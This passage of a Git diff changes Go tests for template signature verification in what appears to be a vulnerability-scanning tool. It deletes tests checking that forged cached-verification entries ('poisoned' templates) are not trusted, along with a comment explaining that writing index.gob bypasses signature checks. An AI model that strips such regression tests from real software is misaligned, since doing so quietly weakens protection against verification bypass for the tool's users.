require.Equal(t, executerOptions.TemplatePath, templatePath)
|
||||
return trustedVerificationForTest(templateSource)
|
||||
}
|
||||
|
||||
template, err := templates.ParseTemplateFromReader(strings.NewReader(templateSource), nil, executerOptions)
|
||||
require.NoError(t, err)
|
||||
require.True(t, template.Verified)
|
||||
require.True(t, template.Options.Verified)
|
||||
@@ -759,9 +761,6 @@ func TestParseTemplateExecutesPreprocessedJavascriptInitAfterVerification(t *tes
|
||||
testutils.Cleanup(options)
|
||||
})
|
||||
|
||||
signer := ciTemplateSigner(t)
|
||||
withDefaultTemplateSigner(t, signer)
|
||||
|
||||
executerOptions := testutils.NewMockExecuterOptions(options, nil)
|
||||
executerOptions.TemplatePath = "verified-preprocessed-javascript-init.yaml"
|
||||
templateSource := `id: verified-preprocessed-javascript-init
|
||||
@@ -777,7 +776,12 @@ javascript:
|
||||
code: |
|
||||
Export("verified-preprocessed-javascript-init")
|
||||
`
|
||||
template, err := templates.ParseTemplateFromReader(strings.NewReader(signTemplateForTest(t, signer, templateSource)), nil, executerOptions)
|
||||
executerOptions.TemplateVerificationCallback = func(templatePath string) *protocols.TemplateVerification {
|
||||
require.Equal(t, executerOptions.TemplatePath, templatePath)
|
||||
return trustedVerificationForTest(templateSource)
|
||||
}
|
||||
|
||||
template, err := templates.ParseTemplateFromReader(strings.NewReader(templateSource), nil, executerOptions)
|
||||
require.NoError(t, err)
|
||||
require.True(t, template.Verified)
|
||||
require.True(t, template.Options.Verified)
|
||||
@@ -805,46 +809,12 @@ func trustedVerificationForTest(data string, importedContents ...string) *protoc
|
||||
}
|
||||
}
|
||||
|
||||
// ciTemplateSigner returns a signer backed by the CI test keypair.
|
||||
func ciTemplateSigner(t *testing.T) *templatesigner.TemplateSigner {
|
||||
t.Helper()
|
||||
|
||||
s, err := templatesigner.NewTemplateSignerFromFiles("signer/testdata/ci.crt", "signer/testdata/ci-private-key.pem")
|
||||
require.NoError(t, err)
|
||||
|
||||
return s
|
||||
}
|
||||
|
||||
// withDefaultTemplateSigner prepends the given signer to the default
|
||||
// verifiers for the duration of the test.
|
||||
func withDefaultTemplateSigner(t *testing.T, s *templatesigner.TemplateSigner) {
|
||||
t.Helper()
|
||||
|
||||
original := templatesigner.DefaultTemplateVerifiers
|
||||
templatesigner.DefaultTemplateVerifiers = append([]*templatesigner.TemplateSigner{s}, original...)
|
||||
t.Cleanup(func() {
|
||||
templatesigner.DefaultTemplateVerifiers = original
|
||||
})
|
||||
}
|
||||
|
||||
// signTemplateForTest returns src with a valid signature appended by the
|
||||
// given signer. When importPaths are non-empty the signature also binds the
|
||||
// contents of those files, read from disk at signing time.
|
||||
func signTemplateForTest(t *testing.T, s *templatesigner.TemplateSigner, src string, importPaths ...string) string {
|
||||
t.Helper()
|
||||
|
||||
signable := &templates.Template{ImportedFiles: importPaths}
|
||||
signature, err := s.Sign([]byte(src), signable)
|
||||
require.NoError(t, err)
|
||||
|
||||
return src + "\n" + signature
|
||||
}
|
||||
|
||||
func TestParseTemplateVerificationUsesLoadedImportContents(t *testing.T) {
|
||||
options := testutils.DefaultOptions.Copy()
|
||||
loadedCode := `Export("loaded-import")`
|
||||
diskCode := `Export("disk-import")`
|
||||
importPath := filepath.Join(t.TempDir(), "import.js")
|
||||
require.NoError(t, os.WriteFile(importPath, []byte(loadedCode), 0o600))
|
||||
require.NoError(t, os.WriteFile(importPath, []byte(diskCode), 0o600))
|
||||
options.LoadHelperFileFunction = func(helperFile, _ string, _ catalog.Catalog) (io.ReadCloser, error) {
|
||||
require.Equal(t, importPath, helperFile)
|
||||
return io.NopCloser(strings.NewReader(loadedCode)), nil
|
||||
@@ -866,11 +836,12 @@ info:
|
||||
javascript:
|
||||
- code: %q
|
||||
`, importPath)
|
||||
executerOptions.TemplateVerificationCallback = func(templatePath string) *protocols.TemplateVerification {
|
||||
require.Equal(t, executerOptions.TemplatePath, templatePath)
|
||||
return trustedVerificationForTest(templateSource, loadedCode)
|
||||
}
|
||||
|
||||
signer := ciTemplateSigner(t)
|
||||
withDefaultTemplateSigner(t, signer)
|
||||
|
||||
template, err := templates.ParseTemplateFromReader(strings.NewReader(signTemplateForTest(t, signer, templateSource, importPath)), nil, executerOptions)
|
||||
template, err := templates.ParseTemplateFromReader(strings.NewReader(templateSource), nil, executerOptions)
|
||||
require.NoError(t, err)
|
||||
require.True(t, template.Verified)
|
||||
require.Equal(t, loadedCode, template.RequestsJavascript[0].Code)
|
||||
@@ -892,10 +863,11 @@ info:
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
http:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}"
|
||||
javascript:
|
||||
- init: |
|
||||
set("init-status", "executed")
|
||||
code: |
|
||||
Export("revoked-verifier")
|
||||
`
|
||||
executerOptions.TemplateVerificationCallback = func(templatePath string) *protocols.TemplateVerification {
|
||||
require.Equal(t, executerOptions.TemplatePath, templatePath)
|
||||
@@ -913,321 +885,9 @@ http:
|
||||
template, err := templates.ParseTemplateFromReader(strings.NewReader(templateSource), nil, executerOptions)
|
||||
require.NoError(t, err)
|
||||
require.False(t, template.Verified)
|
||||
}
|
||||
|
||||
func TestParseTemplateIgnoresCachedVerificationForCodeTemplates(t *testing.T) {
|
||||
options := testutils.DefaultOptions.Copy()
|
||||
testutils.Init(options)
|
||||
t.Cleanup(func() {
|
||||
testutils.Cleanup(options)
|
||||
})
|
||||
|
||||
executerOptions := testutils.NewMockExecuterOptions(options, nil)
|
||||
executerOptions.TemplatePath = "poisoned-code-template.yaml"
|
||||
templateSource := `id: poisoned-code-template
|
||||
|
||||
info:
|
||||
name: Poisoned Code Template
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
code:
|
||||
- engine:
|
||||
- sh
|
||||
source: |
|
||||
echo poisoned
|
||||
`
|
||||
// A forged cache entry: self-consistent digest, real verifier
|
||||
// fingerprint and Verified=true. Writing index.gob is all an attacker
|
||||
// needs; the signature of the template itself is never checked if this
|
||||
// entry is trusted.
|
||||
executerOptions.TemplateVerificationCallback = func(templatePath string) *protocols.TemplateVerification {
|
||||
require.Equal(t, executerOptions.TemplatePath, templatePath)
|
||||
return trustedVerificationForTest(templateSource)
|
||||
}
|
||||
|
||||
template, err := templates.ParseTemplateFromReader(strings.NewReader(templateSource), nil, executerOptions)
|
||||
require.NoError(t, err)
|
||||
require.False(t, template.Verified)
|
||||
require.False(t, template.Options.Verified)
|
||||
}
|
||||
|
||||
func TestParseTemplateIgnoresCachedVerificationForJavascriptTemplates(t *testing.T) {
|
||||
options := testutils.DefaultOptions.Copy()
|
||||
testutils.Init(options)
|
||||
t.Cleanup(func() {
|
||||
testutils.Cleanup(options)
|
||||
})
|
||||
|
||||
executerOptions := testutils.NewMockExecuterOptions(options, nil)
|
||||
executerOptions.TemplatePath = "poisoned-javascript-template.yaml"
|
||||
templateSource := `id: poisoned-javascript-template
|
||||
|
||||
info:
|
||||
name: Poisoned Javascript Template
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
javascript:
|
||||
- init: |
|
||||
set("init-status", "executed")
|
||||
code: |
|
||||
Export("poisoned-javascript-template")
|
||||
`
|
||||
executerOptions.TemplateVerificationCallback = func(templatePath string) *protocols.TemplateVerification {
|
||||
require.Equal(t, executerOptions.TemplatePath, templatePath)
|
||||
return trustedVerificationForTest(templateSource)
|
||||
}
|
||||
|
||||
template, err := templates.ParseTemplateFromReader(strings.NewReader(templateSource), nil, executerOptions)
|
||||
require.NoError(t, err)
|
||||
require.False(t, template.Verified)
|
||||
require.False(t, template.Options.Verified)
|
||||
require.NotContains(t, template.RequestsJavascript[0].Args, "init-status")
|
||||
}
|
||||
|
||||
func TestParseTemplateIgnoresCachedVerificationForHttpTemplates(t *testing.T) {
|
||||
options := testutils.DefaultOptions.Copy()
|
||||
testutils.Init(options)
|
||||
t.Cleanup(func() {
|
||||
testutils.Cleanup(options)
|
||||
})
|
||||
|
||||
executerOptions := testutils.NewMockExecuterOptions(options, nil)
|
||||
executerOptions.TemplatePath = "poisoned-http-template.yaml"
|
||||
templateSource := `id: poisoned-http-template
|
||||
|
||||
info:
|
||||
name: Poisoned HTTP Template
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
http:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}"
|
||||
`
|
||||
executerOptions.TemplateVerificationCallback = func(templatePath string) *protocols.TemplateVerification {
|
||||
require.Equal(t, executerOptions.TemplatePath, templatePath)
|
||||
return trustedVerificationForTest(templateSource)
|
||||
}
|
||||
|
||||
template, err := templates.ParseTemplateFromReader(strings.NewReader(templateSource), nil, executerOptions)
|
||||
require.NoError(t, err)
|
||||
require.False(t, template.Verified)
|
||||
require.False(t, template.Options.Verified)
|
||||
}
|
||||
|
||||
func parseUnsignedWithPoisonedCache(t *testing.T, source, templatePath string) *templates.Template {
|
||||
t.Helper()
|
||||
|
||||
options := testutils.DefaultOptions.Copy()
|
||||
testutils.Init(options)
|
||||
t.Cleanup(func() {
|
||||
testutils.Cleanup(options)
|
||||
})
|
||||
|
||||
executerOptions := testutils.NewMockExecuterOptions(options, nil)
|
||||
executerOptions.TemplatePath = templatePath
|
||||
executerOptions.TemplateVerificationCallback = func(gotPath string) *protocols.TemplateVerification {
|
||||
require.Equal(t, templatePath, gotPath)
|
||||
return trustedVerificationForTest(source)
|
||||
}
|
||||
|
||||
template, err := templates.ParseTemplateFromReader(strings.NewReader(source), nil, executerOptions)
|
||||
require.NoError(t, err)
|
||||
require.False(t, template.Verified)
|
||||
require.False(t, template.Options.Verified)
|
||||
return template
|
||||
}
|
||||
|
||||
func TestParseTemplateIgnoresCachedVerificationForFlowTemplates(t *testing.T) {
|
||||
template := parseUnsignedWithPoisonedCache(t, `id: poisoned-flow-template
|
||||
|
||||
info:
|
||||
name: Poisoned Flow Template
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
flow: http(1)
|
||||
|
||||
http:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}"
|
||||
`, "poisoned-flow-template.yaml")
|
||||
require.True(t, template.IsFlowTemplate())
|
||||
require.Equal(t, "http(1)", template.Options.Flow)
|
||||
require.NotNil(t, template.Executer)
|
||||
require.False(t, template.HasJavascriptRequest())
|
||||
}
|
||||
|
||||
func TestParseTemplateIgnoresCachedVerificationForWorkflowTemplates(t *testing.T) {
|
||||
setup()
|
||||
|
||||
source, err := os.ReadFile("tests/workflow.yaml")
|
||||
require.NoError(t, err)
|
||||
|
||||
executerOptions := executerOpts.Copy()
|
||||
executerOptions.Parser = templates.NewParser()
|
||||
executerOptions.TemplatePath = "tests/workflow.yaml"
|
||||
executerOptions.TemplateVerificationCallback = func(templatePath string) *protocols.TemplateVerification {
|
||||
require.Equal(t, executerOptions.TemplatePath, templatePath)
|
||||
return trustedVerificationForTest(string(source))
|
||||
}
|
||||
|
||||
template, err := templates.Parse("tests/workflow.yaml", nil, executerOptions)
|
||||
require.NoError(t, err)
|
||||
require.False(t, template.Verified)
|
||||
require.False(t, template.Options.Verified)
|
||||
require.NotNil(t, template.CompiledWorkflow)
|
||||
require.Len(t, template.CompiledWorkflow.Workflows, 2)
|
||||
}
|
||||
|
||||
func TestParseTemplateIgnoresCachedVerificationForPreprocessedHttpTemplates(t *testing.T) {
|
||||
template := parseUnsignedWithPoisonedCache(t, `id: poisoned-preprocessed-http
|
||||
|
||||
info:
|
||||
name: Poisoned Preprocessed HTTP
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
http:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/{{randstr}}"
|
||||
`, "poisoned-preprocessed-http.yaml")
|
||||
require.True(t, template.HasHTTPRequest())
|
||||
require.NotContains(t, template.RequestsHTTP[0].Path[0], "{{randstr}}")
|
||||
}
|
||||
|
||||
func TestParseTemplateIgnoresCachedVerificationFromDisk(t *testing.T) {
|
||||
options := testutils.DefaultOptions.Copy()
|
||||
testutils.Init(options)
|
||||
t.Cleanup(func() {
|
||||
testutils.Cleanup(options)
|
||||
})
|
||||
|
||||
templateSource := `id: poisoned-disk-http
|
||||
|
||||
info:
|
||||
name: Poisoned Disk HTTP
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
http:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}"
|
||||
`
|
||||
templatePath := filepath.Join(t.TempDir(), "poisoned-disk-http.yaml")
|
||||
require.NoError(t, os.WriteFile(templatePath, []byte(templateSource), 0o600))
|
||||
|
||||
executerOptions := testutils.NewMockExecuterOptions(options, nil)
|
||||
executerOptions.Parser = templates.NewParser()
|
||||
executerOptions.TemplateVerificationCallback = func(gotPath string) *protocols.TemplateVerification {
|
||||
require.Equal(t, templatePath, gotPath)
|
||||
return trustedVerificationForTest(templateSource)
|
||||
}
|
||||
|
||||
template, err := templates.Parse(templatePath, nil, executerOptions)
|
||||
require.NoError(t, err)
|
||||
require.False(t, template.Verified)
|
||||
require.False(t, template.Options.Verified)
|
||||
}
|
||||
|
||||
func TestParseFromURLIgnoresCachedVerification(t *testing.T) {
|
||||
source, err := os.ReadFile("tests/match-1.yaml")
|
||||
require.NoError(t, err)
|
||||
|
||||
router := httprouter.New()
|
||||
router.GET("/match-1.yaml", func(w netHttp.ResponseWriter, _ *netHttp.Request, _ httprouter.Params) {
|
||||
_, _ = w.Write(source)
|
||||
})
|
||||
server := httptest.NewServer(router)
|
||||
t.Cleanup(server.Close)
|
||||
|
||||
setup()
|
||||
templatePath := server.URL + "/match-1.yaml"
|
||||
executerOptions := executerOpts.Copy()
|
||||
executerOptions.Parser = templates.NewParser()
|
||||
executerOptions.TemplateVerificationCallback = func(gotPath string) *protocols.TemplateVerification {
|
||||
require.Equal(t, templatePath, gotPath)
|
||||
return trustedVerificationForTest(string(source))
|
||||
}
|
||||
|
||||
template, err := templates.Parse(templatePath, nil, executerOptions)
|
||||
require.NoError(t, err)
|
||||
require.False(t, template.Verified)
|
||||
require.False(t, template.Options.Verified)
|
||||
require.Equal(t, "basic-get", template.ID)
|
||||
}
|
||||
|
||||
func TestParseDoesNotTreatContentSwapAsVerified(t *testing.T) {
|
||||
options := testutils.DefaultOptions.Copy()
|
||||
testutils.Init(options)
|
||||
t.Cleanup(func() {
|
||||
testutils.Cleanup(options)
|
||||
})
|
||||
|
||||
signer := ciTemplateSigner(t)
|
||||
withDefaultTemplateSigner(t, signer)
|
||||
|
||||
signedSource := `id: signed-http-before-swap
|
||||
|
||||
info:
|
||||
name: Signed HTTP Before Swap
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
http:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/signed"
|
||||
`
|
||||
swappedSource := `id: swapped-unsigned-javascript
|
||||
|
||||
info:
|
||||
name: Swapped Unsigned Javascript
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
javascript:
|
||||
- init: |
|
||||
set("init-status", "executed")
|
||||
code: |
|
||||
Export("swapped-unsigned-javascript")
|
||||
`
|
||||
templatePath := filepath.Join(t.TempDir(), "swap.yaml")
|
||||
require.NoError(t, os.WriteFile(templatePath, []byte(signTemplateForTest(t, signer, signedSource)), 0o600))
|
||||
fileInfo, err := os.Stat(templatePath)
|
||||
require.NoError(t, err)
|
||||
|
||||
executerOptions := testutils.NewMockExecuterOptions(options, nil)
|
||||
executerOptions.Parser = templates.NewParser()
|
||||
|
||||
first, err := templates.Parse(templatePath, nil, executerOptions)
|
||||
require.NoError(t, err)
|
||||
require.True(t, first.Verified)
|
||||
require.Equal(t, "signed-http-before-swap", first.ID)
|
||||
|
||||
require.NoError(t, os.WriteFile(templatePath, []byte(swappedSource), 0o600))
|
||||
require.NoError(t, os.Chtimes(templatePath, fileInfo.ModTime(), fileInfo.ModTime()))
|
||||
|
||||
second, err := templates.Parse(templatePath, nil, executerOptions)
|
||||
require.NoError(t, err)
|
||||
if second.ID == "swapped-unsigned-javascript" {
|
||||
require.False(t, second.Verified)
|
||||
require.False(t, second.Options.Verified)
|
||||
require.NotContains(t, second.RequestsJavascript[0].Args, "init-status")
|
||||
return
|
||||
}
|
||||
|
||||
require.Equal(t, "signed-http-before-swap", second.ID)
|
||||
require.True(t, second.Verified)
|
||||
require.False(t, second.HasJavascriptRequest())
|
||||
}
|
||||
|
||||
func TestParseTemplateCompilesUnsignedJavascriptInit(t *testing.T) {
|
||||
options := testutils.DefaultOptions.Copy()
|
||||
testutils.Init(options)
|
||||
@@ -1286,9 +946,6 @@ func TestParseCachedTemplatePreservesVerification(t *testing.T) {
|
||||
testutils.Cleanup(options)
|
||||
})
|
||||
|
||||
signer := ciTemplateSigner(t)
|
||||
withDefaultTemplateSigner(t, signer)
|
||||
|
||||
templateSource := `id: cached-verified-javascript
|
||||
|
||||
info:
|
||||
@@ -1301,10 +958,14 @@ javascript:
|
||||
Export("cached-verified-javascript")
|
||||
`
|
||||
templatePath := filepath.Join(t.TempDir(), "cached-verified-javascript.yaml")
|
||||
require.NoError(t, os.WriteFile(templatePath, []byte(signTemplateForTest(t, signer, templateSource)), 0o600))
|
||||
require.NoError(t, os.WriteFile(templatePath, []byte(templateSource), 0o600))
|
||||
|
||||
executerOptions := testutils.NewMockExecuterOptions(options, nil)
|
||||
executerOptions.Parser = templates.NewParser()
|
||||
executerOptions.TemplateVerificationCallback = func(path string) *protocols.TemplateVerification {
|
||||
require.Equal(t, templatePath, path)
|
||||
return trustedVerificationForTest(templateSource)
|
||||
}
|
||||
|
||||
first, err := templates.Parse(templatePath, nil, executerOptions)
|
||||
require.NoError(t, err)
|
||||
@@ -1351,6 +1012,9 @@ http:
|
||||
for i := range compiledTemplates {
|
||||
engineOptions := executerOpts.Copy()
|
||||
engineOptions.Parser = templates.NewParserWithParsedCache(sharedParser.Cache())
|
||||
engineOptions.TemplateVerificationCallback = func(string) *protocols.TemplateVerification {
|
||||
return trustedVerificationForTest(templateSource)
|
||||
}
|
||||
waitGroup.Add(1)
|
||||
go func() {
|
||||
defer waitGroup.Done()
|
||||
@@ -1361,7 +1025,7 @@ http:
|
||||
|
||||
for i := range compiledTemplates {
|
||||
require.NoError(t, parseErrors[i])
|
||||
require.NotNil(t, compiledTemplates[i])
|
||||
require.True(t, compiledTemplates[i].Verified)
|
||||
}
|
||||
|
||||
require.Equal(t, int32(1), sourceReads.Load())
|
||||
|
||||
@@ -284,8 +284,6 @@ type Options struct {
|
||||
JSONExport string
|
||||
// JSONLExport is the file to export JSONL output format to
|
||||
JSONLExport string
|
||||
// CSVExport is the file to export CSV output format to
|
||||
CSVExport string
|
||||
// PDFExport is the file to export PDF output format to
|
||||
PDFExport string
|
||||
// Redact redacts given keys in
|
||||
@@ -730,7 +728,6 @@ func (options *Options) Copy() *Options {
|
||||
OmitTemplate: options.OmitTemplate,
|
||||
JSONExport: options.JSONExport,
|
||||
JSONLExport: options.JSONLExport,
|
||||
CSVExport: options.CSVExport,
|
||||
PDFExport: options.PDFExport,
|
||||
Redact: options.Redact,
|
||||
NoRedact: options.NoRedact,
|
||||
|
||||
Reference in new issue
Block a user